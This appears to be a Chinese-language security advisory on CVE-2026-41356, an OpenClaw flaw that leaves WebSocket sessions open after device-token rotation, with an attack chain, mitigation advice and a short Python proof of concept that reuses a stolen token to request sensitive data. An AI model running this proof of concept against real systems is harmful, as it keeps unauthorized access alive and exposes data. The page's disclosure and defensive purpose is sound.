IPBUF安全漏洞报告
English
CVE-2026-41356 CVSS 5.4 中危

CVE-2026-41356 OpenClaw WebSocket会话未终止漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-41356
漏洞类型
访问控制失效
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

访问控制WebSocketOpenClaw会话管理权限绕过

漏洞概述

OpenClaw在2026.3.31之前的版本中存在会话管理缺陷。在轮换设备令牌时,系统未能正确终止活跃的WebSocket连接。这使得拥有先前泄露凭据的攻击者,能够在令牌轮换后,继续通过现有的WebSocket连接维持对系统的未授权访问,绕过了正常的身份验证流程。

技术细节

该漏洞的核心在于设备令牌轮换机制与WebSocket会话管理之间的逻辑冲突。在正常的认证流程中,令牌轮换应使旧令牌失效。然而,OpenClaw在执行令牌轮换时,仅更新了用户的认证凭证,却未触发对已建立WebSocket连接的终止操作。WebSocket协议是长连接,一旦握手成功建立,后续通信往往依赖连接上下文而非每次消息都重新验证令牌。因此,攻击者只需在令牌轮换前保持WebSocket连接处于活跃状态,即可在旧令牌失效后继续利用该通道发送指令,导致系统无法有效切断攻击者的控制权。

攻击链分析

STEP 1
1. 凭据窃取
攻击者通过某种方式获取了受害者的有效设备令牌。
STEP 2
2. 建立连接
攻击者使用窃取的令牌成功与OpenClaw服务器建立WebSocket长连接。
STEP 3
3. 触发轮换
受害者或管理员执行设备令牌轮换操作(如重置密码或强制更新令牌),预期应撤销旧访问权限。
STEP 4
4. 绕过验证
由于OpenClaw未在轮换时断开现有连接,攻击者的WebSocket会话依然保持活跃状态。
STEP 5
5. 持续访问
攻击者利用现有的WebSocket连接继续发送恶意指令或窃取数据,实现未授权访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import asyncio import websockets # Exploit Concept: Demonstrating persistent WebSocket access after token rotation # This script simulates an attacker maintaining a connection even after the token is supposed to be rotated. async def exploit_poc(): # The compromised token obtained before rotation compromised_token = "old_stolen_device_token" uri = "wss://openclaw.example.com/api/socket?token=" + compromised_token try: print("[*] Attempting to connect to WebSocket with old token...") async with websockets.connect(uri) as websocket: print("[+] Connection established successfully.") # Simulate waiting for the admin/user to rotate the token on the server print("[*] Waiting for token rotation event...") await asyncio.sleep(5) # After rotation, normal API requests would fail, but WebSocket might remain open print("[*] Token likely rotated. Attempting to send command via existing WebSocket...") # Send a malicious command or data exfiltration request payload = '{"action": "get_sensitive_data"}' await websocket.send(payload) response = await websocket.recv() print(f"[+] Response received: {response}") print("[!] Exploit successful: Attacker maintains access via stale WebSocket session.") except Exception as e: print(f"[-] Connection failed or closed: {e}") if __name__ == "__main__": asyncio.run(exploit_poc())

影响范围

OpenClaw < 2026.3.31

防御指南

临时缓解措施
如果无法立即升级,建议管理员监控异常的WebSocket长连接,并在安全事件发生时手动重启服务以强制清理所有会话,或者通过网络防火墙限制WebSocket接口的访问来源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表